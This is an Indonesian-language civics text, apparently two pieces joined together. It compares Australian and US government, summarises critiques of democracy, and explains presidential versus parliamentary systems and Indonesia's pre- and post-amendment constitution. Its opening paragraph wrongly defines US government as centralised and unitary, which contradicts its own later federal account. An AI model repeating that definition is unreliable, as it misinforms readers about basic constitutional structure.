Faktor historikal dari kedua Negara ini menjadikan bentuk pemerintahan keduanya tergolong unik, Australia dengan sistem Federal dan penggabugan dengan pemerintahan parlementer. Sedangkan negara Amerika bentuk pemerintahannya adalah Pemerintahan Serikat yang didefinisikan sebagai bentuk pemerintahan dimana terletak wewenang yang besar untuk penguasa tertinggi didalam negara. Pemerintahannya dikonsentrasikan oleh satu badan atau seperangkat badan lainnya, yang tidak bisa dipungkiri lagi adalah pemerintahan ini secara umum dioperasikan oleh pusat. R.G. Gettell mengatakan bahwa sistem konstitusi didalam Negara Serikat, semua kekuatan Negara diserahkan kepada pemerintah nasional dimana memungkinkan untuk menciptakan beberapa cabang dan menyerahkan kepada mereka beberapa kekuasaan yang pantas. Bahkan mengubah batas- batas mereka serta kekuatan mereka dengan undang- undang legislatif yang ada.
Dari keterangan diatas sudah jelas bahwa definisi dari bentuk pemerintahan serikat adalah kekuasaan dan kontrol semua kesejahteraan pemerintah dan administrasi berada ditangan pemerintahan pusat. Pemerintahan pusat bisa membagikan Negara dalam bentuk provinsi, dimana bertujuan untuk keutuhan administratif dengan memberikan wewenang kepada penguasa disetiap propinsi. Propinsi ini tidak mendapat kekuatan dari konstitusi, kekuasaan mereka hanya bergantung pada pemerintahan pusat, dimana bisa dihapuskan atau dikurangi kekuasaan mereka bila diperlukan.
Namun berdasarkan sejarah, Amerika Serikat terbentuk dari 13 bekas koloni Inggris selepas Revolusi Amerika setelah deklarasi kemerdekaan pada tanggal 4 Juli 1776. Pada asalnya, struktur politiknya ialah sebuah konfederasi. Tetapi setelah proses konsolidasi yang cukup lama dan terbentuknya konstitusi Amerika, koloni akhirnya sepakat untuk membentuk negara persekutuan. Saat dinyatakannya kemerdekaan Amerika Serikat, tiga belas koloni berubah menjadi negara bagian-negara bagian. Pada mulanya negara bagian-negara bagian ini bergabung sebagai sebuah persekutuan tetapi kemudian membentuk sebuah negara yang bersatu. Pada tahun-tahun berikutnya, jumlah negara bagian bertambah dengan masuknya negara bagian-negara bagian di barat, pembelian tanah dan perpecahan negara bagian-negara bagian yang sudah ada. Setiap negara bagian dibagi kepada counties (semacam kabupaten), cities (semacam kotamadya atau daerah otonomi) dan townships (semacam kecamatan). Amerika juga memiliki negara federal yaitu Washington DC, dan juga memiliki tanah jajahan seperti Puerto Riko, Samoa Amerika, Guam dan Kepulauan Virgin.
Selain itu terdapat kesamaan sejarah terbentuknya kedua Negara tesebut sampai menjadi pemerintahan yang demokratis seperti sekarang dengan lebih memperhatikan faktor pribumi yang dinilai tesisih. Di Australia dengan kebijakan imigrasi “white Australia” policy terhadap suku aborigin yang merupakan suku asli Australia dan di Amerika Serikat, isu penyingkiran kaum pribumi Indian serta, masih ada sistem perbudakan sebelah selatan dengan kaum kulit hitam sebagai warga kelas kedua. Diskriminasi terhadap kaum berwarna merupakan salah satu sebab terjadinya perang saudara antara negara bagian (negara bagian Utara dan Selatan). Walaupun sistem perbudakan telah dihapuskan selepas kekalahan negara-negara bagian Selatan, diskriminasi warna kulit terus merajalela sehingga ke pertengahan abad ke-20.
Dalam sistem pemerintahan kedua negara diatas ada yang Presidensial maupun Parlementer. Secara tidak langsung menghasilkan tujuan demokrasi dalam proses menjalankan sistem pemerintahannya yang ada pada kedua negara tersebut. Banyak variable nilai demokrasi yang dianut demi kesejahteraan dan kemajuan negara. Antara lain menjamin kebebasan individual yang akan menjadi pertimbangan pemerintah. Begitu pula dengan keputusan atau ketetapan pemerintah tidak luput dari sokongan bersama interpretasi dari sistem pemilu yang di adakan, perjuangan pertimbangan persamaan hak untuk setiap individu dan golongan.
Di dalam negara demokrasi hal yang tidak dapat dipungkiri adalah adanya persamaan hak antara pria dan wanita baik didalam berpolitik, pemerintahan memiliki karakter yang cenderung diciptakan oleh warganegara, dimana semestinya mereka yang harus ditopang. Pemerintahan yang kuat dan memiliki masa eksis panjang adalah pemerintahan yang menaruh pada tiap warga negara sikap moral yang kuat, ketulusan hati, berdikari dan memiliki keberanian yang tinggi. Hal ini sejalan dengan politik yang dijalankan oleh negara tersebut berikut sistem yang dianut, kesempatan setiap individu dan setiap kelompok menyampaikan pandangan mereka tentang permasalahan publik, dan juga untuk mempertunjukkan ketidakpuasan terhadap tindakan pemerintah. Bahkan merubahnya ke dalam segi pandangan yang lain, maka hak untuk merubah pemerintahan dengan melakukan voting. Pertahanan stabilitas nasional sangatlah efektif berada dalam demokratisasi. Faktor kebutuhan memperkembangkan semua kemajuan publik setiap individu memiliki kesempatan, untuk mengkontribusikan sedikit banyaknya perihal kemajuan masyarakat seperti pemilihan, pengontrolan, tanggung jawab yang besar, dimana memungkinkan untuk menjamin manfaatnya. Dengan memperhatikan sistem pemerintahan di kedua negara diatas, bisa dianalisis bahwa demokratisasi yang terjadi tidak selalu luput dari cacat. Hal tersebut dikarenakan bahwa demokrasi juga memiliki sisi negatif. Sisi negatif tersebut seperti prinsip persamaan hak yang tidak sesuai yang mana demokrasi berpegangan terhadap anggapan bahwa manusia semua sama atau sederajat. Namun para pengkritik demokrasi membantahnya dan beranggapan bahwa hal tersebut mustahil (sebuah ide yang tidak mungkin dan juga tidak logis).
Untuk memberikan hak setiap individu dalam memilih merupakan hal yang merusak perhatian masyarakat. Banyak anggapan bahwa demokrasi merupakan pemujaan atas ketidakmampuan Pemerintahan oleh mayoritas yang merupakan peraturan yang dipegang oleh manusia biasa. Yang mana memiliki opini yang tidak terkontrol dan bertindak secara emosi tanpa alasan. Dan juga memliki pengetahuan yang terbatas, kurangnya waktu luang yang diperlukan untuk memperoleh dan memahami informasi. Oleh karena itu, demokrasi adalah lemah didalam kualitas. Tiada nilai politik yang tinggi tanpa anggota yang unggul didalamnya. Selain itu terdapat pula pendapat yang menilai bahwa didalam demokrasi, yang memerintah adalah publik. Sedangkan suatu kelompok seringkali beraksi dengan cara yang sangat berbeda, seperti cara normal individu dalam menyusun kelompok. Setiap kelompok kehilangan perasaan untuk bertanggung jawab, personalitas individu dan kesadaran mereka merupakan pilihan. Aksinya bersifat menurutkan kata hati dan menghasilkan dengan mudah, pengaruh atas saran dan pengaruh buruk perasaan dari kelompok lainnya. Oleh karena itu, Jenis kelompok apapun beraksi dibawah stimuli sementara; mereka bergerak dengan menyetir masyarakat primitif. Publik seringkali berkelakuan zalim, bahkan merupakan orang yang sangat lalim. Hal yang tidak indah dimana pemimpin politik memanfaatkan psikologis rakyat banyak dan membangunkan nafsu masyarakat dalam aba- aba untuk memenangkan dukungan mereka. Beberapa kritikan menegaskan bahwa demokrasi adalah pelatihan memimpin untuk menuju Oligarki yang terburuk. Telleyrand mengambarkan demokrasi adalah sebuah aristokrasi orang yang jahat. Suatu hal yang wajar pada setiap manusia adalah cemburu terhadap seseorang yang lebih memiliki keunggulan. Oleh karena itu, mereka jarang memilih orang yang mampu untuk memimpin mereka. Mereka sering memilih orang yang rendah kualitasnya, dimana sering tidak mengindahkan dan secara luar biasa cakap dalam mengatur diri mereka sendiri dengan sentiment yang tinggi. Orang yang jujur dan mampu jarang terpilih didalam demokrasi.
Terdapat tuduhan terhadap demokratisasi pada suatu pemerintahan oleh sekelompok kecil. Setiap negara yang memiliki populasi terbesar tidak pernah melaksanakan voting. Lagipula, dalam demokrasi dikebanyakan Negara yang melewati angka pemilihan keluar sebagai juara. Dibawah sistem ini sering terjadi, minoritas partai mendapatkan vote meraih kembali kekuatan. Sedangkan partai yang meraih suara minoritas akan menjadi sebagai partai oposisi atau sayap kiri. Jadi demokrasi adalah pemerintahan yang berhenti untuk menjadi pemerintahan mayoritas. pemerintahan para kapitalis. Marxist mengkritik demokrasi yang menggolongkan demokrasi kaum borjuis. Mereka memperdebatkan doktrin kedaulatan yang menjadi dasar didalam demokrasi adalah sebuah dongeng. Padahal demokrasi dalam hak suara orang dewasa melahirkan dendam, dan berada dibawah analisa pemerintahan kapitalist, yang mana bisa dikatakan dari kapitalis untuk kapitalis.
Uang adalah pemimpin dan peraturan didalam pemerintahan demokrasi. Dan ini semua untuk menarik pengikut agar bersatu dan memilihnya sebagai wakil mereka. Mereka membiayai partai- partai politik dan membeli para politikus. Maka dari inilah Negara diperintah oleh kelompok yang menarik perhatian.kesuksesan demokrasi dan pemilihan umum menggunakan partai dan perwakilan di pemerintahansering ditanggapi sebagai hal yang merusak demokrasi dimana- mana. Partai- partai meletakkan perhatian utama mereka sendiri daripada bangsa mereka. Semua perlengkapan institusional dan ideologikal orang-orang yang berhak memilih dalam pemilihan adalah korup. Mereka menganjurkan ketidak tulusan, mengacaukan persatuan bangsa, menyebarkan dusta, dan merendahkan standar moral rakyat. Mesin partai dengan baik bekerja atas setiap individu warganegara, siapa saja yang berkeinginan menggunakan sedikit pendapat atau tiada kebebasan. Faktanya sistem fasilitas daripada partai menghalangi operasi peraturan lalim. Sistem partai menciptakan kelompok politik professional, yang mana kebanyakan dari mereka tidak mampu bekerja secara serius dan membangun.

  • KESIMPULAN
Tidak ada parameter yang tepat untuk bisa menentukan keberhasilan keberadaan serta pemberlakuan demokrasi dan demokratisasi yang terjadi di suatu negara secara tepat. Bentuk sistem pemerintahan apapun yang dijalankan dalam suatu negara tersebut, bisa dikategorikan sebagai negara yang memiliki pemerintahan demokratis apabila bisa menampung aspirasi dari masyarakatnya serta membawa kearah yang lebih baik dengan dukungan masyarakatnya juga. Representasi sistem presidensial yang dijalankan di Amerika maupun sistem perlementer yang ada di Australia sudah cukup menggambarkan bentuk demokrasi pada porsi yang tepat. Dimana pada level Ke-Negaraan masing-masing beserta latar belakang sejarah negara dan perkembangannya, masing-masing terdapat juga efisiensi proporsionalitas suatu sistem teruji, karena fakta menunjukkan bahwa keberhasilan dan pengakuan internasional baik melalui sistem politik maupun eksistensi negara itu sendiri. Karena dengan adanya perwakilan rakyat yang dipilih secara sah dan legal yang duduk di kursi pemerintahan.

sistem pemerintahan

I. Pengertian Sistem Pemerintahan
Istilah system pemerintahan berasal dari gabungan dua kata system dan pemerintahan. Kata system merupakan terjemahan dari kata system (bahasa Inggris) yang berarti susunan, tatanan, jaringan, atau cara. Sedangkan Pemerintahan berasal dari kata pemerintah, dan yang berasal dari kata perintah. Dan dalam Kamus Bahasa Indonesia, kata-kata itu berarti:
  1. Perintah adalah perkataan yang bermakna menyuruh melakukan sesuatau
  2. Pemerintah adalah kekuasaan yang memerintah suatu wilayah, daerah, atau, Negara.
  3. Pemerintahan adalaha perbuatan, cara, hal, urusan dalam memerintah
Maka dalam arti yang luas, pemerintahan adalah perbuatan memerintah yang dilakukan oleh badan-badan legislative, eksekutif, dan yudikatif di suatu Negara dalam rangka mencapai tujuan penyelenggaraan negara. Dalam arti yang sempit, pemerintaha adalah perbuatan memerintah yang dilakukan oleh badan eksekutif beserta jajarannya dalam rangka mencapai tujuan penyelenggaraan negara. Sistem pemerintaha diartikan sebagai suatu tatanan utuh yang terdiri atas berbagai komponen pemerintahan yang bekerja saling bergantungan dan memengaruhi dalam mencapaian tujuan dan fungsi pemerintahan. Kekuasaan dalam suatu Negara menurut Montesquieu diklasifikasikan menjadi tiga, yaitu Kekuasaan Eksekutif yang berarti kekuasaan menjalankan undang-undang atau kekuasaan menjalankan pemerintahan; Kekuasaan Legislatif yang berate kekuasaan membentuk undang-undang; Dan Kekuasaan Yudiskatif yang berate kekuasaan mengadili terhadap pelanggaran atas undang-undang. Komponen-komponen tersebut secara garis besar meliputi lembaga eksekutif, legislative dan yudikatif. Jadi, system pemerintaha negara menggambarkan adanya lembaga-lembaga negara, hubungan antarlembaga negara, dan bekerjanya lembaga negara dalam mencapai tujuan pemerintahan negara yang bersangkutan.
Tujuan pemerintahan negara pada umumnya didasarkan pada cita-cita atau tujuan negara. Misalnya, tujuan pemerintahan negara Indonesia adalah melindungi segenap bangsa Indonesia dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, serta ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi dan keadilan social. Lembaga-lembaga yang berada dalam satu system pemerintahan Indonesia bekerja secara bersama dan saling menunjang untuk terwujudnya tujuan dari pemerintahan di negara Indonesia.
Dalam suatu negara yang bentuk pemerintahannya republik, presiden adalah kepala negaranya dan berkewajiban membentuk departemen-departemen yang akan melaksakan kekuasaan eksekutif dan melaksakan undang-undang. Setiap departemen akan dipimpin oleh seorang menteri. Apabile semua menteri yang ada tersebut dikoordinir oleh seorang perdana menteri maka dapat disebut dewan menteri/cabinet. Kabinet dapat berbentuk presidensial, dan kabinet ministrial.
a. Kabinet Presidensial
Kabinet presidensial adalah suatu kabinet dimana pertanggungjawaban atas kebijaksanaan pemerintah dipegang oleh presiden. Presiden merangkap jabatan sebagai perdana menteri sehingga para menteri tidak bertanggung jawab kepada perlemen/DPR melainkan kepada presiden. Contoh negara yang menggunakan sistem kabinet presidensial adalah Amarika Serikat dan Indonesia
b. Kabinet Ministrial
Kabinet ministrial adalah suatu kabinet yang dalam menjalankan kebijaksaan pemerintan, baik seorang menteri secara sendiri-sendiri maupun bersama-sama seluruh anggota kebinet bertanggung jawab kepada parlemen/DPR. Contoh negara yang menggunakan sistem kabinet ini adalah negara-negara di Eropa Barat.
Apabila dilihat dari cara pembentukannya, cabinet ministrial dapat dibagi menjadi dua, yaitu cabinet parlementer dan cabinet ekstraparlementer.
Kabinet parlementer adalah suatu kabinet yang dibentuk dengan memperhatikan dan memperhitungkan suara-suara yang ada didalam parlemen. Jika dilihat dari komposisi (susunan keanggotaannya), cabinet parlementer dibagi menjadi tiga, yaitu kabinet koalisi, kabinet nasional, dan kabinet partai.
Kabinet Ekstraparlementer adalah kebinet yang pembentukannya tidak memperhatikan dan memperhitungkan suara-suara serta keadaan dalam parlemen/DPR.
II. Sistem Pemerintahan Parlementer Dan Presidensial
Sistem pemerintahan negara dibagi menjadi dua klasifikasi besar, yaitu:
  1. sistem pemerintahan presidensial;
  2. sistem pemerintahan parlementer.
Pada umumnya, negara-negara didunia menganut salah satu dari sistem pemerintahan tersebut. Adanya sistem pemerintahan lain dianggap sebagai variasi atau kombinasi dari dua sistem pemerintahan diatas. Negara Inggris dianggap sebagai tipe ideal dari negara yang menganut sistem pemerintahan parlemen. Bhakan, Inggris disebut sebagai Mother of Parliaments (induk parlemen), sedangkan Amerika Serikat merupakan tipe ideal dari negara dengan sistem pemerintahan presidensial.
Kedua negara tersebut disebut sebagai tipe ideal karena menerapkan ciri-ciri yang dijalankannya. Inggris adalah negara pertama yang menjalankan model pemerintahan parlementer. Amerika Serikat juga sebagai pelopor dalam sistem pemerintahan presidensial. Kedua negara tersebut sampai sekarang tetap konsisten dalam menjalankan prinsip-prinsip dari sistem pemerintahannya. Dari dua negara tersebut, kemudian sistem pemerintahan diadopsi oleh negara-negara lain dibelahan dunia.
Klasifikasi sistem pemerintahan presidensial dan parlementer didasarkan pada hubungan antara kekuasaan eksekutif dan legislatif. Sistem pemerintahan disebut parlementer apabila badan eksekutif sebagai pelaksana kekuasaan eksekutif mendapat pengawasan langsung dari badan legislatif. Sistem pemerintahan disebut presidensial apabila badan eksekutif berada di luar pengawasan langsung badan legislatif.
Untuk lebih jelasnya, berikut ini ciri-ciri, kelebihan serta kekurangan dari sistem pemerintahan parlementer.
Ciri-ciri dari sistem pemerintahan parlementer adalah sebagai berikut:
  1. Badan legislatif atau parlemen adalah satu-satunya badan yang anggotanya dipilih langsung oleh rakyat melalui pemilihan umum. Parlemen memiliki kekuasaan besar sebagai badan perwakilan dan lembaga legislatif.
  2. Anggota parlemen terdiri atas orang-orang dari partai politik yang memenangkan pemiihan umum. Partai politik yang menang dalam pemilihan umum memiliki peluang besar menjadi mayoritas dan memiliki kekuasaan besar di parlemen.
  3. Pemerintah atau kabinet terdiri dari atas para menteri dan perdana menteri sebagai pemimpin kabinet. Perdana menteri dipilih oleh parlemen untuk melaksakan kekuasaan eksekutif. Dalam sistem ini, kekuasaan eksekutif berada pada perdana menteri sebagai kepala pemerintahan. Anggota kabinet umumnya berasal dari parlemen.
  4. Kabinet bertanggung jawab kepada parlemen dan dapat bertahan sepanjang mendapat dukungan mayoritas anggota parlemen. Hal ini berarti bahwa sewaktu-waktu parlemen dapat menjatuhkan kabinet jika mayoritas anggota parlemen menyampaikan mosi tidak percaya kepada kabinet.
  5. Kepala negara tidak sekaligus sebagai kepala pemerintahan. Kepala pemerintahan adalah perdana menteri, sedangkan kepala negara adalah presiden dalam negara republik atau raja/sultan dalam negara monarki. Kepala negara tidak memiliki kekuasaan pemerintahan. Ia hanya berperan sebgai symbol kedaulatan dan keutuhan negara.
  6. Sebagai imbangan parlemen dapat menjatuhkan kabinet maka presiden atau raja atas saran dari perdana menteri dapat membubarkan parlemen. Selanjutnya, diadakan pemilihan umum lagi untuk membentukan parlemen baru.
Kelebihan Sistem Pemerintahan Parlementer:
  1. Pembuat kebijakan dapat ditangani secara cepat karena mudah terjadi penyesuaian pendapat antara eksekutif dan legislatif. Hal ini karena kekuasaan eksekutif dan legislatif berada pada satu partai atau koalisi partai.
  2. Garis tanggung jawab dalam pembuatan dan pelaksanaan kebijakan public jelas.
  3. Adanya pengawasan yang kuat dari parlemen terhadap kabinet sehingga kabinet menjadi barhati-hati dalam menjalankan pemerintahan.
Kekurangan Sistem Pemerintahan Parlementer:
  1. Kedudukan badan eksekutif/kabinet sangat tergantung pada mayoritas dukungan parlemen sehingga sewaktu-waktu kabinet dapat dijatuhkan oleh parlemen.
  2. Kelangsungan kedudukan badan eksekutif atau kabinet tidak bias ditentukan berakhir sesuai dengan masa jabatannya karena sewaktu-waktu kabinet dapat bubar.
  3. Kabinet dapat mengendalikan parlemen. Hal itu terjadi apabila para anggota kabinet adalah anggota parlemen dan berasal dari partai meyoritas. Karena pengaruh mereka yang besar diparlemen dan partai, anggota kabinet dapat mengusai parlemen.
  4. Parlemen menjadi tempat kaderisasi bagi jabatan-jabatan eksekutif. Pengalaman mereka menjadi anggota parlemen dimanfaatkan dan manjadi bekal penting untuk menjadi menteri atau jabatan eksekutif lainnya.
Dalam sistem pemerintahan presidensial, badan eksekutif dan legislatif memiliki kedudukan yang independen. Kedua badan tersebut tidak berhubungan secara langsung seperti dalam sistem pemerintahan parlementer. Mereka dipilih oleh rakyat secara terpisah.
Untuk lebih jelasnya, berikut ini ciri-ciri, kelebihan serta kekurangan dari sistem pemerintahan presidensial.
Ciri-ciri dari sistem pemerintaha presidensial adalah sebagai berikut.
  1. Penyelenggara negara berada ditangan presiden. Presiden adalah kepala negara sekaligus kepala pemerintahan. Presiden tidak dipilih oleh parlemen, tetapi dipilih langsung oleh rakyat atau suatu dewan majelis.
  2. Kabinet (dewan menteri) dibentuk oleh presiden. Kabinet bertangungjawab kepada presiden dan tidak bertanggung jawab kepada parlemen atau legislatif.
  3. Presiden tidak bertanggungjawab kepada parlemen. Hal itu dikarenakan presiden tidak dipilih oleh parlemen.
  4. Presiden tidak dapat membubarkan parlemen seperti dalam sistem parlementer.
  5. Parlemen memiliki kekuasaan legislatif dan sebagai lembaga perwakilan. Anggota parlemen dipilih oleh rakyat.
  6. Presiden tidak berada dibawah pengawasan langsung parlemen.
Kelebihan Sistem Pemerintahan Presidensial:
  1. Badan eksekutif lebih stabil kedudukannya karena tidak tergantung pada parlemen.
  2. Masa jabatan badan eksekutif lebih jelas dengan jangka waktu tertentu. Misalnya, masa jabatan Presiden Amerika Serikat adalah empat tahun, Presiden Indonesia adalah lima tahun.
  3. Penyusun program kerja kabinet mudah disesuaikan dengan jangka waktu masa jabatannya.
  4. Legislatif bukan tempat kaderisasi untuk jabatan-jabatan eksekutif karena dapat diisi oleh orang luar termasuk anggota parlemen sendiri.
Kekurangan Sistem Pemerintahan Presidensial:
  1. Kekuasaan eksekutif diluar pengawasan langsung legislatif sehingga dapat menciptakan kekuasaan mutlak.
  2. Sistem pertanggungjawaban kurang jelas.
  3. Pembuatan keputusan atau kebijakan publik umumnya hasil tawar-menawar antara eksekutif dan legislatif sehingga dapat terjadi keputusan tidak tegas dan memakan waktu yang lama.
III. Pengaruh Sistem Pemerintahan Satu Negara Terhadap Negara-negara Lain.
Sistem pemerintahan negara-negara didunia ini berbeda-beda sesuai dengan keinginan dari negara yang bersangkutan dan disesuaikan dengan keadaan bangsa dan negaranya. Sebagaimana dikemukakan sebelumnya, sistem pemerintahan presidensial dan sistem pemerintahan parlementer merupakan dua model sistem pemerintahan yang dijadikan acuan oleh banyak negara. Amerika Serikat dan Inggris masing-masing dianggap pelopor dari sistem pemerintahan presidensial dan sistem pemerintahan parlementer. Dari dua model tersebut, kemudian dicontoh oleh negara-negar lainnya.
Contoh negara yang menggunakan sistem pemerintahan presidensial: Amerika Serikat, Filipina, Brasil, Mesir, dan Argentina. Dan contoh negara yang menggunakan sistem pemerintahan parlemen: Inggris, India, Malaysia, Jepang, dan Australia.
Meskipun sama-sama menggunakan sistem presidensial atau parlementer, terdapat variasi-variasi disesuaikan dengan perkembangan ketatanegaraan negara yang bersangkutan. Misalnya, Indonesia yang menganut sistem pemerintahan presidensial tidak akan sama persis dengan sistem pemerintahan presidensial yang berjalan di Amerika Serikat. Bahkan, negara-negara tertentu memakai sistem campuran antara presidensial dan parlementer (mixed parliamentary presidential system). Contohnya, negara Prancis sekarang ini. Negara tersebut memiliki presiden sebagai kepala negara yang memiliki kekuasaan besar, tetapi juga terdapat perdana menteri yang diangkat oleh presiden untuk menjalankan pemerintahan sehari-hari.
Sistem pemerintahan suatu negara berguna bagi negara lain. Salah satu kegunaan penting sistem pemerintahan adalah sistem pemerintahan suatu negara menjadi dapat mengadakan perbandingan oleh negara lain. Suatu negara dapat mengadakan perbandingan sistem pemerintahan yang dijalankan dengan sistem pemerintahan yang dilaksakan negara lain. Negara-negara dapat mencari dan menemukan beberapa persamaan dan perbedaan antarsistem pemerintahan. Tujuan selanjutnya adalah negara dapat mengembangkan suatu sistem pemerintahan yang dianggap lebih baik dari sebelumnya setelah melakukan perbandingan dengan negara-negara lain. Mereka bisa pula mengadopsi sistem pemerintahan negara lain sebagai sistem pemerintahan negara yang bersangkutan.
Para pejabat negara, politisi, dan para anggota parlemen negara sering mengadakan kunjungan ke luar negeri atau antarnegara. Mereka melakukan pengamatan, pengkajian, perbandingan sistem pemerintahan negara yang dikunjungi dengan sistem pemerintahan negaranya. Seusai kunjungan para anggota parlemen tersebut memiliki pengetahuan dan wawasan yang semakin luas untuk dapat mengembangkan sistem pemerintahan negaranya.
Pembangunan sistem pemerintahan di Indonesia juga tidak lepas dari hasil mengadakan perbandingan sistem pemerintahan antarnegara. Sebagai negara dengan sistem presidensial, Indonesia banyak mengadopsi praktik-praktik pemerintahan di Amerika Serikat. Misalnya, pemilihan presiden langsung dan mekanisme cheks and balance. Konvensi Partai Golkar menjelang pemilu tahun 2004 juga mencontoh praktik konvensi di Amerika Serikat. Namun, tidak semua praktik pemerintahan di Indonesia bersifat tiruan semata dari sistem pemerintahan Amerika Serikat. Contohnya, Indonesia mengenal adanya lembaga Majelis Permusyawaratan Rakyat, sedangkan di Amerika Serikat tidak ada lembaga semacam itu.
Dengan demikian, sistem pemerintahan suatu negara dapat dijadikan sebagai bahan perbandingan atau model yang dapat diadopsi menjadi bagian dari sistem pemerintahan negara lain. Amerika Serikat dan Inggris masing-masing telah mampu membuktikan diri sebagai negara yang menganut sistem pemerintahan presidensial dan parlementer seara ideal. Sistem pemerintahan dari kedua negara tersebut selanjutnya banyak ditiru oleh negara-negara lain di dunia yang tentunya disesuaikan dengan negara yang bersangkutan.
IV. Sistem Pemerintahan Indonesia
a. Sistem Pemerintahan Negara Indonesia Berdasarkan UUD 1945 Sebelum Diamandemen.
Pokok-pokok sistem pemerintahan negara Indonesia berdasarkan UUD 1945 sebelum diamandemen tertuang dalam Penjelasan UUD 1945 tentang tujuh kunci pokok sistem pemerintahan negara tersebut sebagai berikut.
1. Indonesia adalah negara yang berdasarkan atas hukum (rechtsstaat).
2. Sistem Konstitusional.
3. Kekuasaan negara yang tertinggi di tangan Majelis Permusyawaratan Rakyat.
4. Presiden adalah penyelenggara pemerintah negara yang tertinggi dibawah Majelis Permusyawaratan Rakyat.
5. Presiden tidak bertanggung jawab kepada Dewan Perwakilan Rakyat.
6. Menteri negara ialah pembantu presiden, menteri negara tidak bertanggungjawab kepada Dewan Perwakilan Rakyat.
7. Kekuasaan kepala negara tidak tak terbatas.
Berdasarkan tujuh kunci pokok sistem pemerintahan, sistem pemerintahan Indonesia menurut UUD 1945 menganut sistem pemerintahan presidensial. Sistem pemerintahan ini dijalankan semasa pemerintahan Orde Baru di bawah kepemimpinan Presiden Suharto. Ciri dari sistem pemerintahan masa itu adalah adanya kekuasaan yang amat besar pada lembaga kepresidenan. Hamper semua kewenangan presiden yang di atur menurut UUD 1945 tersebut dilakukan tanpa melibatkan pertimbangan atau persetujuan DPR sebagai wakil rakyat. Karena itui tidak adanya pengawasan dan tanpa persetujuan DPR, maka kekuasaan presiden sangat besar dan cenderung dapat disalahgunakan. Mekipun adanya kelemahan, kekuasaan yang besar pada presiden juga ada dampak positifnya yaitu presiden dapat mengendalikan seluruh penyelenggaraan pemerintahan sehingga mampu menciptakan pemerintahan yang kompak dan solid. Sistem pemerintahan lebih stabil, tidak mudah jatuh atau berganti. Konflik dan pertentangan antarpejabat negara dapat dihindari. Namun, dalam praktik perjalanan sistem pemerintahan di Indonesia ternyata kekuasaan yang besar dalam diri presiden lebih banyak merugikan bangsa dan negara daripada keuntungan yang didapatkanya.
Memasuki masa Reformasi ini, bangsa Indonesia bertekad untuk menciptakan sistem pemerintahan yang demokratis. Untuk itu, perlu disusun pemerintahan yang konstitusional atau pemerintahan yang berdasarkan pada konstitusi. Pemerintah konstitusional bercirikan bahwa konstitusi negara itu berisi
1. adanya pembatasan kekuasaan pemerintahan atau eksekutif,
2. jaminan atas hak asasi manusia dan hak-hak warga negara.
Berdasarkan hal itu, Reformasi yang harus dilakukan adalah melakukan perubahan atau amandemen atas UUD 1945. dengan mengamandemen UUD 1945 menjadi konstitusi yang bersifat konstitusional, diharapkan dapat terbentuk sistem pemerintahan yang lebih baik dari yang sebelumnya. Amandemen atas UUD 1945 telah dilakukan oleh MPR sebanyak empat kali, yaitu pada tahun 1999, 2000, 2001, dan 2002. berdasarkan UUD 1945 yang telah diamandemen itulah menjadi pedoman bagi sistem pemerintaha Indonesia sekarang ini.
b. Sistem pemerintahan Negara Indonesia Berdasarkan UUD 1945 Setelah Diamandemen
Sekarang ini sistem pemerintahan di Indonesia masih dalam masa transisi. Sebelum diberlakukannya sistem pemerintahan baru berdasarkan UUD 1945 hasil amandemen keempat tahun 2002, sistem pemerintahan Indonesia masih mendasarkan pada UUD 1945 dengan beberapa perubahan seiring dengan adanya transisi menuju sistem pemerintahan yang baru. Sistem pemerintahan baru diharapkan berjalan mulai tahun 2004 setelah dilakukannya Pemilu 2004.
Pokok-pokok sistem pemerintahan Indonesia adalah sebagai berikut.
  1. Bentuk negara kesatuan dengan prinsip otonomi daerah yang luas. Wilayah negara terbagi dalam beberapa provinsi.
  2. Bentuk pemerintahan adalah republik, sedangkan sistem pemerintahan presidensial.
  3. Presiden adalah kepala negara dan sekaligus kepala pemerintahan. Presiden dan wakil presiden dipilih dan diangkat oleh MPR untuk masa jabatan lima tahun. Untuk masa jabatan 2004-2009, presiden dan wakil presiden akan dipilih secara langsung oleh rakyat dalam satu paket.
  4. Kabinet atau menteri diangkat oleh presiden dan bertanggung jawab kepada presiden.
  5. Parlemen terdiri atas dua bagian (bikameral), Dewan Perwakilan Rakyat (DPR) dan Dewan Perwakilan Daerah (DPD). Para anggota dewan merupakan anggota MPR. DPR memiliki kekuasaan legislatif dan kekuasaan mengawasi jalannya pemerintahan.
  6. Kekuasaan yudikatif dijalankan oleh Makamah Agung dan badan peradilan dibawahnya.
Sistem pemerintahan ini juga mengambil unsure-unsur dari sistem pemerintahan parlementer dan melakukan pembaharuan untuk menghilangkan kelemahan-kelemahan yang ada dalam sistem presidensial. Beberapa variasi dari sistem pemerintahan presidensial di Indonesia adalah sebagai berikut.
  1. Presiden sewaktu-waktu dapat diberhentikan oleh MPR atas usul dari DPR. Jadi, DPR tetap memiliki kekuasaan megawasi presiden meskipun secara tidak langsung.
  2. Presiden dalam mengangkat penjabat negara perlu pertimbangan atau persetujuan dari DPR.
  3. Presiden dalam mengeluarkan kebijakan tertentu perlu pertimbangan atau persetujuan dari DPR.
  4. Parlemen diberi kekuasaan yang lebih besar dalam hal membentuk undang-undang dan hak budget (anggaran)
Dengan demikian, ada perubahan-perubahan baru dalam sistem pemerintahan Indonesia. Hal itu diperuntukan dalam memperbaiki sistem presidensial yang lama. Perubahan baru tersebut, antara lain adanya pemilihan secara langsung, sistem bikameral, mekanisme cheks and balance, dan pemberian kekuasaan yang lebih besar kepada parlemen untuk melakukan pengawasan dan fungsi anggaran.
Kesimpulan
Sistem pemerintahan negara menggambarkan adanya lembaga-lembaga yang bekerja dan berjalan saling berhubungan satu sama lain menuju tercapainya tujuan penyelenggaraan negara. Lembaga-lembaga negara dalam suatu sistem politik meliputi empat institusi pokok, yaitu eksekutif, birokratif, legislatif, dan yudikatif. Selain itu, terdapat lembaga lain atau unsur lain seperti parlemen, pemilu, dan dewan menteri.
Pembagian sistem pemerintahan negara secara modern terbagi dua, yaitu presidensial dan ministerial (parlemen). Pembagian sistem pemerintahan presidensial dan parlementer didasarkan pada hubungan antara kekuasaan eksekutif dan legislatif. Dalam sistem parlementer, badan eksekutif mendapat pengwasan langsung dari legislatif. Sebaliknya, apabila badan eksekutif berada diluar pengawasan legislatif maka sistem pemerintahannya adalah presidensial.
Dalam sistem pemerintahan negara republik, lebaga-lembaga negara itu berjalan sesuai dengan mekanisme demokratis, sedangkan dalam sistem pemerintahan negara monarki, lembaga itu bekerja sesuai dengan prinsip-prinsip yang berbeda.
